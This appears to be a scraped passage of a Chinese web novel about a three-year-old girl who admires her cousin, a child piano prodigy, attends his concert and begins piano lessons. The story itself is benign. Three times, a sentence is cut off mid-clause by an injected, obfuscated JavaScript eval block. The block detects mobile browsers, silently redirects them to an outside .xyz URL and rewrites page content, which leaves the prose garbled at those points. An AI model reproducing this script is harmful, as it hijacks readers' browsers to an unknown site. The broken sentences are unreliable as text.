午饭时,蒋婧一直在偷看蒋斐轩,期间还卖乖地暗戳戳示好。她吃力地夹了一块糖醋排骨,用另一只小手托在下面,迅速地移过来给他,语气很软地说道:“斐轩哥哥,你吃这个~” 蒋斐轩俊丽的脸因为皱起的眉头而生出几分不耐烦的意味,他冷冷地说道:“我讨厌别人给我夹菜,完全就是在互相传递口水,而且我讨厌吃甜味的菜。” “斐轩!怎么和妹妹说话呢?”从蓉正了脸色,抬了碗接过蒋婧快要夹不住的排骨,对她温声说道:“小婧真懂事,还会给哥哥夹菜呢?不过两个哥哥都不喜欢吃甜的,今天是因为小婧婧要来,大伯母才特意让人做一个你最喜欢吃的糖醋排骨。你是因为自己喜欢吃,才想要给哥哥夹的,对不对?” 蒋婧眼睛圆溜溜的,一派纯良地点点头。 “没事,哥哥不喜欢,大伯母吃。大伯母能吃到我们小婧夹的菜,太高兴了!” 从蓉揽着蒋婧回到位置,给她布菜,期间又对儿子不愠不火地说道:“斐轩,刚刚你态度不好,给妹妹道个歉。” 蒋斐轩抿了抿唇,顿了两秒,仿佛毫无负担地,随口即来道:“对不起妹妹,我不该对你说话语气不好。” 蒋婧回应了他的道歉,心里却闷闷的,感觉哥哥更不开心了。 下午,蒋婧跟着三个贵妇人去逛街,在VIP室里有一搭没一搭地吃着小甜品。 程与英拎着一堆裙子过来,扬声唤她:“婧儿宝贝,过来看看,这几条裙子你喜欢吗?” 她放下小蛋糕,屁颠屁颠地过去,由妈妈牵着她去试衣服。 程与英给她拉好裙子拉链,瞥了眼镜子里明显藏不住事的孩子,笑吟吟地问:“怎么了宝贝?你在想什么小孩问题呢?能不能和妈妈说一说?” 蒋婧欲言又止,然后嘟着嘴叹了口气。 程与英笑了,在换衣间的沙发上坐下,把她抱在腿上,捏捏她的脸。 “这么苦大仇深,妈妈在这里认真听呢,宝贝说说,妈妈帮你一起想办法。” 她左一言右一言地说清楚来龙去脉,程与英心下明了,和她打着商量道:“斐轩哥哥那时候在生气嘛,所以才没有理你的,等他不生气了,就愿意和你玩了,他没有不喜欢你。我们婧儿这么好的一个小天使,怎么会有人不喜欢呢?” “可是斐轩哥哥都还没听我说对不起就走了...”她嘴巴一撇,忍不住开始委屈地哭鼻子。 “不哭不哭,那这样,妈妈帮你去问问大伯母,斐轩哥哥喜欢什么,妈妈带你去给斐轩哥哥买个小礼物,这样宝宝去给斐轩哥哥道歉的时候,斐轩哥哥就不好意思不理你啦,你觉得这样可以吗?” 蒋婧点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206051|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,感觉到妈妈的可靠,依赖地握住她的手。 “那你记得帮我问大伯母,谢谢你妈妈!” “你和妈妈还这么客气呢~”程与英宠爱地刮刮她的小鼻子。 * 有了蒋婧这一茬事,从蓉干脆把蒋铮的两个弟弟一起叫上来家中聚餐。 傍晚,回到大伯父的家里,蒋婧捧着在书店买的原版曲谱,悄悄地来到了琴房门口。 这原版曲目是大伯母挑的礼物,说斐轩哥哥马上就要开新的谱学习了,送这个给他,他刚好需要,一定会很开心。 蒋斐轩的琴房用了顶尖的隔音装置,要站在门口很近的地方,才能勉强听清楚里面的声音。 她耳朵贴在门上,听着里面传来的悦耳动听的琴声,一时有些听入迷。 “你在这儿干嘛?” 身后传来一声低沉的声音,蒋婧转身抬头,兔子见了蛇似的,畏缩了一下。 “斯承哥哥,我来找斐轩哥哥。”她瓮声瓮气地解释。 蒋斯承漫不经心地走上前,重重地敲了一下门。 琴声戛然而止,片刻后,门被打开。 蒋斐轩疑惑地看向哥哥,后者用下巴指了指下面,说道:“这个小矮子找你。” 然后,蒋斯承就事不关己地顺着走廊继续往前走,上了楼梯,如同顺手扶了一把要倒的路牌一般自然。 蒋斐轩收回看向哥哥的视线,目光对上蒋婧,问道:“找我干嘛?” 蒋婧双手奉上那厚重的谱集,念着妈妈教自己的台词:“斐轩哥哥,我以后不会再随便碰你的琴了,我给你一个小礼物,你可以不生气吗?” 蒋斐轩接过那本厚重的曲谱随便翻了翻,像看到什么反胃的东西,应激地翻了翻白眼,直接拆穿她:“这是我妈买给你,让你送我的吧?道歉还要用别人买的东西。” 现下的情景和自己预想的不一样,蒋婧有些发懵。 难道不应该是斐轩哥哥欢欣鼓舞地原谅自己,然后愿意带自己玩钢琴,她就可以光明正大地听哥哥弹琴了吗? 她真的很想当面看哥哥弹琴。 “说完了,你还不走?”蒋斐轩说道。 蒋婧支支吾吾了半天,要走不走的,把他弄得有些不耐烦,说道:“你到底要干嘛?直接说,别到时候又不开心去告状,又是我的错。” 她挥挥两只手,头摇的像个拨浪鼓:“我不会去告状的哥哥....” “意思是你还想过?” “不、不是的。” “我想进去看你弹一会琴,可以吗?斐轩哥哥,求求你了~” 那声音从鼻腔里挤出来,带着三分委屈七分娇嗔,尾音拖得老长。她面团似的脸蛋上漂着两朵红色浮云,眼睛乌溜澄亮,带了希冀。 是她惯用的撒娇手段,只要这样说一说,大人们没有不依着他的。 然而蒋斐轩却像个木头,情绪纹丝不动,干脆利落地拒绝道:“不,我不想弹给你听。” “你快走吧,别打扰我练琴。” 琴房的门被他一下关上。 蒋婧吃了个闭门羹,咬着下嘴唇,眼里水意弥漫。 又生气,又委屈,又烦闷。她抹了一把眼睛,闷着头转身离开。 不给看就不给看嘛,那么凶干什么。 23.第23章 蒋婧的好奇心没多久就得到了满足。 那一天是周六,下午蒋婧和两个哥哥在湖边玩了很久,把脸上、身上、衣服上弄得全是泥。程与英好笑又无奈地提溜着她去洗澡,然后给她换上了一条复古宫廷感的刺绣连衣裙。 蒋婧平时好动,妈妈基本上都给她穿些好看又舒适的衣服,只要是换上这样繁复的裙子,多半是要出门干重要的事。 她望着同样换上小西装的两个哥哥和爸爸,于是问道:“为什么我们都要穿这么好看,妈妈?” 程与英给她穿上奶油色的漆皮皮鞋,牵着她跳下床,回答道:“因为今天要去看斐轩哥哥的个人演奏会呀。” “什么是演奏会?” “就是斐轩哥哥一个人在台上表演弹钢琴。” “真的吗?我也可以看吗?”她惊喜地问道。 “你当然可以看了,我们就是要一起去给斐轩哥哥捧场呀。” 驱车抵达北城音乐厅时,检票入场的观众们正排着长队。从蓉自音乐厅侧翼出来,接领他们从后场进去。 蒋婧被爸爸抱着,走神地看着过道上张贴的巨幅海报。 海报中央,蒋斐轩湛蓝色西装,戴着红色小领结,正坐在一架巨大的斯坦威钢琴前,眼神异常专注沉静。海报下方是抓人眼球的宣传标语:“横扫欧亚,载誉归来!国际大赛三冠王——钢琴神童蒋斐轩北京首度公演。” 有的字不认识,蒋婧让爸爸给她解释。蒋源一个字一个字地教她念,说道:“欧亚的意思就是欧洲和亚洲,之前我们去瑞士滑雪、去巴黎看妈妈的地方,就是欧洲,宝宝还记得吗?” “这个三冠王就是说斐轩哥哥拿了三次第一名,你看下面有写,第16届德国埃特林根国际青少年钢琴比赛冠军、第20届英国黑斯廷斯国际钢琴比赛少年组第一名、俄罗斯斯特拉文斯基国际音乐节最年轻获奖者...” 蒋婧听得脑袋里仿佛有小人转圈,呆呆地说到:“斐轩哥哥为什么要参加这么多比赛?是不是因为他和我一样不想上学?” 蒋源失笑:“斐轩哥哥可和我们家小懒虫婧婧宝不一样。斐轩哥哥的梦想是成为钢琴家,所以才要努力地参加比赛,让大家看到他。” 她似懂非懂:“可是斐轩哥哥不是已经有一个装了钢琴的家了吗?为什么要让那么多人去他家看他的钢琴?” 听的人愈发笑意深浓,继续道:“钢琴家的意思是说以后要把弹钢琴当做一生的事业。当你做一件事做的很厉害,所有人都认为你做得很好的时候,你就会成为一个大家。就像爸爸的事业是开公司,所以外面的人说我是企业家,妈妈的事业是设计珠宝首饰,是一个珠宝设计家。” 蒋源用额头抵了抵她的额头,语气和煦而轻柔,带了股恳切、耐心的意味:“婧儿以后想当一个什么样的大家?” 她当真很努力地思考起来,抿唇鼓腮,眼睛溜溜圆地盯着某一方向陷入思绪。 “可是我不知道我做什么很厉害,爸爸。” “妈妈说我吃饭不厉害,那我应该不可以当吃饭家,但是妈妈又说我吃冰淇淋很厉害,那我是不是可以当吃冰淇淋家?” “不过我也不能一直当一个吃冰淇淋家,我觉得自己做爸爸妈妈的女儿和哥哥的妹妹最厉害,所以我想当一个女儿家和妹妹家!” 蒋源胸膛震震地发笑,他把女儿抱紧了些,疼爱地说道:“要爸爸说,我们婧儿最擅长做可爱的事,应该是个可爱家!不过爸爸希望你还擅长开心快乐,所以做一个快乐家也不错。” 蒋婧微微仰头,看着笑容满面的爸爸,一时也觉得心里很高兴。她喜欢成为一个会让爸爸开心的小孩子。 伸手去摩挲他细微的胡茬,她眼睛亮亮地点点头,掰着手指头数到:“那我以后就做一个女儿家,妹妹家,可爱家,还有快乐家!好不好?爸爸企业家?” 蒋源的声音沉缓低柔,笑意绕着尾音回旋:“好,小可爱家,爸爸相信无论做什么,我的婧儿都是最厉害的。” * 北城音乐厅是国内音响效果最好的专业音乐厅之一,敞开的演奏台宽敞幽雅,台上台下距离相近,能让前排观众产生倍感亲切的欣赏体验。 全场座无虚席,蒋斐轩在热烈的掌声中,举止优雅而面带微笑地走上台,落座钢琴前。 他看上去对于处理这样大的演奏场面已经游刃有余,轻吸一口气,抬手再落下的瞬间,表现出一种不可有一音弹错的绝对自信和松弛感。 蒋婧坐在台下,能清晰可见他手指快速跃动在黑白琴键上的画面,耳边的乐声如瀑布流水一样潺潺倾泻而出,声势浩大之中又携着细腻的情感变化。 曲毕空顿片刻,乐调又沉静下来,如泣如诉,并非全然的哀伤,却惹了观众情绪随之跌宕下来。 好像被夺魂似的,蒋婧定定地望着台上的人,听着曲子,第一次感受到全身心被音乐洗礼的震撼。 她转头去看爸爸,表情触动,眉头都撇成了小八字,眼波潋滟。蒋源被闺女萌到,朝她无声微笑,安抚地搂过女儿,轻轻拍了怕她的肩。 一个半小时的无间隙演奏,台上年幼的孩童始终保持着高度的艺术表现力,完美地展现出其演奏的深厚功力。 谢幕时,掌声如雷贯耳,持续到台上的人反复鞠躬致谢多次都未能平息观众的热情。 蒋婧跟着从蓉来到侧台,捧了小小的一束花,被牵着一同上台。 从蓉很是骄傲地拥抱了儿子,把手里的花递给他,在他耳边说了些什么,蒋斐轩点头微笑,保持着优雅的风度。 蒋婧就一直呆呆地仰头看着他,呆呆地由大伯母揽着把怀里的花送给他。 她说了一句话,但很快淹没在嘈杂的掌声中。蒋斐轩没有听清,只觉得她的笑容有些过于灿烂。 小圆头仰着,一双圆眼瞳仁黑而亮,像是住了星星似的,热切又企盼地望过来。因为嘴角咧到最大,若隐若现的小梨涡给人很甜腻、很黏人的观感。 像幼年的猫猫,或者狗狗,看到喜欢的玩具或是主人那样,满心满眼都是他。 蒋斐轩不自在地移开眼,接过她的花又移回来,开口问她:“你什么时候长出来的梨涡?” 小人也没听清,露出疑惑又受宠若惊的表情,凑过来跳了几下,拉住他的手,想让他再说一遍。 这时从蓉揽住两个孩子,示意他们看镜头。蒋婧注意力又被吸引回来,听话地转过去,笑眼弯弯地比了个耶。 摄影师举着一二三的手势,为他们留下合影。 * 散场后蒋斐轩还要接着与人合影、接受媒体采访,从蓉陪着他,让蒋源一家先去庆功宴的酒店稍作休息。 蒋婧在车上一只小嘴叭叭道:“我觉得斐轩哥哥好厉害。” 蒋向恒在演奏会上睡了一觉,还是哈欠连天,闻言问道:“就因为他会弹钢琴吗?” “对啊!斐轩哥哥弹琴的时候,手指头像小蜘蛛在跳舞,嗖嗖嗖的!”她模仿着电影里的蜘蛛侠,比划了几下,又兴奋地说道:“那些声音就像有一百个小精灵在钢琴里面敲小铃铛!你不觉得好听吗,向恒哥哥?” 蒋向恒“唔”了一声,附和道:“嗯嗯,还行吧,我不怎么喜欢听这些让人想睡觉的音乐。但是你不觉得我也挺厉害的吗?妹妹?” “觉得的。” “那你觉得我哪里厉害?” 蒋婧偏头看了他一眼,皱了眉头,老实且为难说道:“就是,都挺厉害的。” 蒋向恒上手捏住她婴儿肥脸颊肉,直把嘴巴都挤成小鸭嘴。 “你向恒哥哥我,长得帅,学习好,体育好,浑身上下都是优点。复述一遍。” 蒋婧幽怨地看他一眼,不乐意但还是奶声奶气地复述:“你向恒哥哥我,长得帅,学习好,体育好,浑身上下都是优点...” 蒋怀谦把妹妹的脸颊肉从他手里解救出来,看到上面的红印子,瞪了他一眼:“你能不能别老用力捏她。” “我就没用力!” 蒋怀谦懒得搭理他,继续听蒋婧碎碎念对蒋斐轩的崇拜,也有些微妙的不开心。 “看完他的一场演奏会,你就这么喜欢他了?” 蒋婧天真烂漫地哼着歌,望着窗外点点头:“对啊!我想让斐轩哥哥教我弹琴。” “你上次才和我说,你觉得他好像不喜欢你。” 蒋婧煞有其事地做出了一个“忘了还有这一茬”的惊讶表情,又说道:“哥哥,那怎么样才可以让斐轩哥哥喜欢我?” “.......”蒋怀谦深深地吸了一口气,又缓缓吐出。 “哥哥,你为什么不说话?” “你为什么要去让他喜欢你。如果他不喜欢你,说明他自己有毛病。”蒋怀谦有些郁结地看向她,严正说明道:“你不能去做讨好别人的事,你才不需要。” “什么是讨好?哥哥?”她推了推蒋怀谦的手臂,见他一副不想与自己多说的样子,很急地又推推他。 “你理理我,你为什么不理我了哥哥?” “因为我在生气。” “你为什么要生气?” 蒋怀谦一时语塞,倒是蒋向恒跳出来解答了:“因为你喜欢我们两个哥哥就够了。” 蒋怀谦推开他凑过来的脑袋,朝妹妹说道:“错误。我一个就够了。” “蒋怀谦!说好的我们俩要结盟的呢?” “谁和你说好了?” * 庆功宴在格调雅致的酒店包下整整一层,置办了好几大桌,除了家里赶来支持的人,还有主办方代表和音乐界人士。 蒋铮和从蓉显然没有让儿子隐在身后的意思,带着蒋斐轩优雅周旋在社会名流之中,礼数周全地一一向在座的人致谢,既培养着他的社交手段,又为他铺着未来的路。 家里的人特意安排在了主桌,蒋源带着孩子们也来表示祝贺。 程与英望望左右不见女儿,回头发现人还站在原处,喊她:“婧儿,快过来!” “来了!”蒋婧吃力地把玻璃杯里的新鲜椰奶倒入高脚杯里,这才双手握住高脚杯的杯脚,保持着不让饮料溢出来的速度走过去。 “让让,让让,你的小婧来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236572|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了~”她嘴里喊着,生怕这些个高的大人把自己的饮料撞洒了。 蒋铮看到小侄女倒了满满一杯牛奶在高脚杯,笑的都有些前仰后合的幅度了。 “你这小家伙,也要应酬?” 蒋婧不明所以:“大伯,什么是应酬?” “你现在这样端着小酒杯,不是要和大伯干杯吗?” “我是想和斐轩哥哥干杯的。” 蒋铮怂着她喝了一口,直到杯子里量不至于随便就要溢出。然后抱着她,招呼蒋斐轩过来。 他满眼慈爱地看着小侄女有样学样地和蒋斐轩碰了碰杯,一字一顿地说道:“斐轩哥哥,你今天弹得琴特别好听,我觉得你好厉害~” 蒋斐轩碰了碰她的白色酒杯,瞧着父亲的眼色说了句“谢谢。” “我干了,你随意!”蒋婧咕嘟咕嘟把杯子里的牛奶全部喝干净,脸颊鼓鼓的,嘴角还沾上了奶沫。 蒋斐轩面色难言地看着她突然豪迈的动作,只好也把杯里的果汁全部喝了。 蒋铮看的乐呵,又劝到:“慢点慢点,慢点喝,别把自己呛到了宝贝。” 程与英瞧了有趣,给她擦擦脸,说道:“这哪学来的?下次不准一口闷,喝东西要慢慢喝。” 蒋婧打了个奶嗝,说道:“妈妈,我好像一肚子坏水了...” “所以说嘛,下次可别喝这么急了。没事,你缓一缓,等会就好了。” 蒋斐轩还要去给自己的老师敬茶,端了杯子往餐厅另一边走。蒋婧挣脱妈妈牵着的手,跑上来跟在他后面,兴奋地坦白心意:“斐轩哥哥,你弹琴好厉害,你能教我弹琴吗?” “不能。”他脚步不停地直视前方,淡淡回到。 “为什么不能?” “因为我很忙。” “你为什么很忙?” “因为我要练琴。” “那为什么你要练琴就不能教我弹琴?” 蒋斐轩忍无可忍,转身低头看着她说道:“你是笨蛋吗?我每天都要练10个小时的琴,没有时间教你。” “那你练完琴可以教我吗?我可以只学一会会儿~” 蒋斐轩一头黑线,不想再和没头脑的三岁小孩交流,转过身去加快步子。 蒋婧落寞地在原地踢了踢脚,嘟了嘟嘴,还是像个小尾巴似的跟了上去。 李教授正拉着北城音乐厅的演出部经理的手,激动地表示着对今天演出的骄傲:“你知道吗,斐轩弹最后一个和弦时的那口气,那种控制力,八岁的孩子啊!我教了一辈子琴,这是头一个!” “李老师,我以茶代酒来向您表示一下感谢,谢谢您这些日子里一直指导我,也谢谢你长久以来对我的教诲。”蒋斐轩有板有眼地端着茶水说道。 “好!好!好!”李教授一连三个好,接了他的茶,饮了后又拍拍他的肩膀,寄予厚望地说道:“艺术的道路注定是艰辛的,但你要继续努力,不能懈怠,假以时日,一定能成为世界顶尖演奏家!” “学生会的。” 蒋婧隐在椅子后面打探情况,好奇地听着他们讲话,被发现了后,动作很迅速地挨到了蒋斐轩身边,有些依赖地怯怯躲在他身后。 蒋斐轩只好朝老师介绍道:“李老师,这是我的小堂妹。” “好可爱的一小女娃,你几岁了哇?”李教授手支着膝盖,半弯了腰,脸停在她抬头可见的高度,笑盈盈地夹高了声线问。 蒋婧比了个手指散弯着的“3”,眼睛亮晶晶的,有些见生的怯慢。 “三岁正是喜欢吃糖的年纪吧,喏,这个给你。”他从自己的包里拿出一个未开封的铁皮盒子撕开,里面装的是星星形状的巧克力。 蒋婧摇摇头,示意不要。 李教授却是直接把这盒子放到她的手心里:“我不是坏人,我是你哥哥的钢琴老师,你放心吃。” 蒋婧小脸微微泛红,眼睛透着股湿漉漉的纯善望向他,瞳仁像两颗浸在泉水里的黑葡萄,亮闪闪的。 蒋斐轩觉得如果她有尾巴,此刻应该会殷勤地摇晃起来。 李教授被她看得心软说道:“你这小女娃,这么甜呢,给我都看害羞了。” 蒋婧鼓起勇气,还是很胆怯地轻轻扯了扯他的衣服,说道:“你可以让斐轩哥哥教我弹琴吗?” “你是一个好人。” “你是第一个人,第一次就给我糖果礼物的人。” “所以你可以不可以,让斐轩哥哥教我弹钢琴呀?” 李教授被夸得面色红润,他干脆蹲了下来,继续和小女孩交流。 “小朋友,你的哥哥正在技术上升期,不能花费太多时间在你身上,要是你想学,不如让我来教你?” 蒋斐轩震惊地看着他:“李老师,您不是说从不收849以下启蒙程度的学生吗?” 连他都是已经迈入专业级水平后,李老师才答应收下他的。 李教授爽朗地摇摇头:“我和你这小堂妹投缘得很!” “小朋友,等你回去和你的爸爸妈妈商量好,确定了要学,下次就跟着你哥哥一起来。” 24.第24章 得知小侄女想学钢琴后,蒋铮当即给她定了台钢琴。几日后,专业的钢琴运输团队将那台昂贵的斯坦威D274搬运至秋水庄园。 日光正好,夫妇俩同蒋铮在户外通风的凉荫处沙发上坐着喝茶,等待运输团队把琴安置好。 蒋源:“大哥这怎么还专门跑一趟过来,等会留下吃饭?” “不了,等会我还有事。我是想看看小婧丫头收到礼物的反应,这才抽空过来一趟。” 三个人同时把目光落在大厅另一边,蒋婧和两个哥哥兴致勃勃地看着人安装,小小的身影一蹦一跳地围着转,看得出很是雀跃。 “她呀,保准开心坏了!”程与英替女儿答道,又忍不住埋汰到:“不过大哥,你这速度也太快了,她这才学了多久,你就给她买了这么大一物件儿,要是之后她又三分钟热度不想学了,岂不是浪费了大哥一片心意。” 蒋铮摇摇头:“无碍。小孩子嘛,要多鼓励,多支持,要及时托举她的每一次爱好和兴趣。” 程与英同步摇摇头,直言不讳地拆台:“我可是听大嫂说,当初斐轩要学琴,求你买琴求了快2年,直到他第一次比赛拿奖后,你才给买的。” “他自然是要严着管,只有确定要认认真真坚持学下去了,才能给他资源。”蒋铮交流着自己的育儿心得,望着不远处的蒋婧,眸色软和:“小婧呢,她不一样,跟这些小男孩都不一样。” “我一看到小婧,就想把世界上最好的东西都给她。” “咱们这些做长辈的,没一个能做到不疼她的,所求的不过是图她一生无忧无虑。总有一天我们都是要退场的。我培养出来的两个儿子,以后也得接下这个任务,保他们的妹妹这一辈子风雨无忧。” 程与英望了眼很是认同的丈夫,目光又接着移回来蒋铮面上,但笑不语地摇摇头。 聊着聊着,响起了几声清脆通透的琴声,那边蒋婧已经被哥哥抱着坐上去,喜不自胜地玩了起来。 蒋铮含笑走过去,听着她弹着简单的音阶,夸奖道:“真厉害,小婧才学了这么几节课就能弹得这么好了!” 蒋婧转过来扑在大伯身上抱住,仰着头眼睛亮晶晶地看他,声音很甜地说道:“谢谢大伯给我买钢琴,我最喜欢大伯了!” 蒋铮来这一趟就为了听这一句,春光满面地坐在小侄女一旁。 “大伯也最喜欢你了!” “以后有不懂的,你就多问老师,多问你斐轩哥哥,不要害羞、害怕,知道吗?” “知道~” “以后周六下午学完琴,你就等等哥哥,然后和哥哥一起到大伯家吃饭,行不行?” “为什么要去大伯家吃饭?” “顺路嘛,你学完琴都下午六点了,该吃饭了。大伯在家准备好多好吃的等你过来。” 她没说话,还是疑惑地看着他。 蒋铮使出绝杀,伸出小指:“不跟大伯天下第一好了?和大伯拉钩钩,去大伯家吃饭好不好?” 蒋婧看到有人和自己拉钩钩就忍不住伸出小指头绕上去,来回晃了晃,嘴里说道:“拉钩上吊一百年不许变!” “那说好了,这周六上完课大伯来接你去吃饭。” “好!” * 上钢琴课的地方是李教授的钢琴音乐中心,除去学生返课用的双钢琴大教室,还有几间供学生练习的独立琴房。 音乐中心的背面则是一个中型的演出厅,用下沉式的座位环绕成圆型观众席,台上放着一架固定的三角钢琴。 蒋婧跟着蒋斐轩身后,穿过用玻璃墙隔开的演奏大厅的过道,抱着自己的两本琴谱啪嗒啪嗒地跟在他身后。 “斐轩哥哥,你可不可以走慢一点?” 蒋斐轩声音含着隐约的怒意:“蒋婧,因为你出门太磨蹭,我们已经迟到15分钟了。下次你再不准时到门口,我就不等你了。” “不要不要,不要不等我!”蒋婧小跑着上去揪住他的手,握住晃了晃。“我下次不会让你迟到了,斐轩哥哥。” “不是我,是我们。这不是我一个人的事。”蒋斐轩转过来看她,微微皱眉。 “进去后,记得先和老师道歉。” 蒋婧点点头,有些紧张地抓住要进琴房的蒋斐轩,偷偷观察到他急切进去的反应,又像只谨慎但需要关爱的小动物,嘟着嘴低下头,无意识地带着焦急地跺跺脚。 “我、我要怎么说啊,斐轩哥哥?我不会.....” “道歉都不会?” 她眼睛忽闪忽闪地盯着他,表情茫然又挫败地摇摇头。 蒋斐轩半蹲下来,直视着她,一句一句地教她:“老师不好意思,因为路上耽误,我迟到了,让您久等了,下次我不会了,请您原谅我。” “记住了吗?” 蒋婧点点头。 “那你进去还琴吧。” 蒋婧抱着自己的书,慢吞吞地挪到门口,因为不知名的害怕感觉自己鼻子酸酸的。 扒着门不愿意走,蒋婧迟疑地、小心翼翼地问:“斐轩哥哥,你可不可以和我一起去,我害怕...” “是你先去上课,你要自己说。” 家长安排两个人一起来上课,蒋婧先去上课的时候,蒋斐轩就在隔壁练琴等她结束换自己。 “好吧。”她垂下脑袋,认栽似的幽幽地挪着小短腿过去。 蒋斐轩坐在琴前深呼吸了一个来回,立起耳朵仔细听外面走廊,许久,才听到小人微弱的、试探的两下敲门声。 他扯了扯嘴角,佯装老成地吐了口气,还是起了身。 蒋婧正抱着书,很忐忑地站在门口仰着头,见到开门的老师后,嘴巴嗫嚅了几下,几乎是带了哭腔地说:“李老、师,对不起...” “怎么了?”李教授惊讶地说道。 蒋斐轩连忙走过来,揽住了蒋婧的肩膀,表情严肃而真诚地道歉,把来龙去脉解释出来。 “嗐,这没事,说清楚就好了。不过下次你们不能准时到,提前给我发个消息,报个平安,让我知道你们是什么情况。”李教授温和地就此揭过。 “好了,丫头,老师有那么可怕吗?别愁眉苦脸的啦,进来吧。” 蒋斐轩看了一眼她:“进去吧,我去练琴了。” “谢谢斐轩哥哥。” 他怔了一下,然后很淡地“嗯”了一声,转身前又说道:“下次你就要自己说了,我不会再帮你说的。” * 进了琴室,蒋婧在老师的帮助下坐上琴凳,挺直了腰背,小手放在大腿上准备就绪。 李教授戴上老花镜,翻看着还课记录:“还是那两条拜厄,又练了一周,这次应该能过了吧?小不点,有没有信心?” 蒋婧没有说话,只是眼睛澄澈地看了老师一眼,然后在老师眼神示意下,开始演奏。 这孩子性子天生是个喜静纯善的,上课都能乖乖坐住,说什么做什么,即使是注意力稍微出走片刻,提醒一句,她也会马上全神贯注。启蒙的第一个月他主要纠正坐姿、手型,但小丫头已经能自己找到谱与键之间的规律,识出中音区的谱。 是个有天赋的,他便稍微加快了一些教学速度,想试试她能不能吸收消化。 等蒋婧把曲子都磕磕绊绊地弹完了,李教授“啧”了一声,在课程记录上写下评语,一边说道:“丫头,回去练琴了吗?” “练了。”她细细地说道。 “我要求你每天至少练一个小时的琴,这个星期做到了吗?” 蒋婧又沉默当起了乌龟,偷偷透过钢琴琴面的反射去看老师的表情。 “唉,你这不行啊,得练琴啊小朋友,不练琴的学生我只提醒三次,三次还不认真练琴,我可就不收了。” “这两首曲子都练了快3周了,不应该还是这样连顺都顺不下来。” “这次再回去练一周,要下苦功夫,知道吗?” “怎么不说话?” 没听到回音,李教授抬头,走过去一看,蒋婧憋着声音,脸上已经眼泪斑斑。 “哎哟,你这小女娃怎么还哭了哩?”李教授扯了纸巾在琴凳坐下,把她揽进怀里拍拍,安抚道:“老师话说的重,让你伤心了?” 蒋婧迫切地摇摇头,泪眼婆娑地看着李老师。 “那是怎么了呢?” “我太笨了,练不会.....”她一抽一咽的,痛哭流涕地说道,越说越委屈。 李教授给她擦了眼泪,揽着她说道:“哎哟哟,你可不笨呐小女娃,一点都不笨,你学的可快了!因为学得快,老师这次就特意给你布置了有点难的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247945|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲目。有点困难,但是你一定可以弹下来,只要下去再勤加苦练。” “把眼泪擦干,你听我完整地给你示范一遍。” 李教授坐在她旁边,刻意放慢了演奏速度,连贯流畅地示范了一遍。最后一个音落下,手腕回落,她也跟着收了眼泪。 “这首曲子是不是很好听?” 蒋婧吸着鼻子,非常赞同地捣蒜一般点点头。 “能打动你的曲子,就值得你好好练,没关系,你慢慢地练习,一周练不会,就练两周,两周练不会,就练三周,按照你自己的节奏来,总会练成的。” 被老师这样开导,蒋婧情绪平静了下来,眉处两道淡黑的小绒毛拧在一起,眨着双水汪汪的眼睛惹人怜爱地说道:“可是我怕你觉得我弹不好,就不要我做你的学生了。” 李教授心下一软,用指关节敲了敲她的小脑袋瓜,笑骂道:“你这小丫头片子,净自个儿胡乱瞎想。” “你记住了,丫头,老师不会因为你努力练习练不好而生气,只会因为你的态度不端正生气。” “上进的态度是最重要的,你能不能明白?” “明白了?那你说说,明白了个啥?” 她懵懵懂懂地点头,复述求证:“就是,我偷懒不练琴的话,你就生气,我好好练琴了但是练不好,你不生气。” “是这个道理。” “我会好好练琴的,李老师,你不要不愿意教我。” 李教授慈爱地拍拍她的肩膀,说道:“老师怎么会不愿意教你。我期待你下次的表现,下次你一定会弹得更好。” * 上完钢琴课出来,蒋铮和从蓉都来接他们。 蒋斐轩看着把蒋婧抱在怀里问七问八的父亲,已经有些麻木地习惯了。 以前,蒋铮从来没有来接过他,只有妈妈偶尔会来。 蒋婧跟着一起来学琴后,他一次都没落下。 回家的途中,蒋铮煞有其事地、表情凝重地听着蒋婧讲述今天的学琴心路,担心她心情不好,干脆带着一家人出去吃了饭,满足蒋婧的愿望,带着她逛了周边商场里的电玩城,顺道去玩具店买了几个喜欢的玩偶。 等到她心情终于又明朗起来,蒋铮才语重心长地抱着她说道:“小婧,在大伯眼中,你是最聪明的小孩,所以你不用在意老师的评价,以后也不用在意别人的评价。当然,老师的建议我们还是要吸取,但是你要自信起来,相信自己是最优秀的。” “可是大伯,那个曲子真的好难,我弹不会。” “这样吧,让斐轩哥哥教你,好不好?” 蒋斐轩:“爸,我自己也要练琴。” “就一个小时的时间,你当休息了。” 父亲在家的话语如铁令,蒋斐轩只能答应。回到家中,他叫住蒋婧,带着她到了自己的琴房。 “你先弹一遍我听一下。” 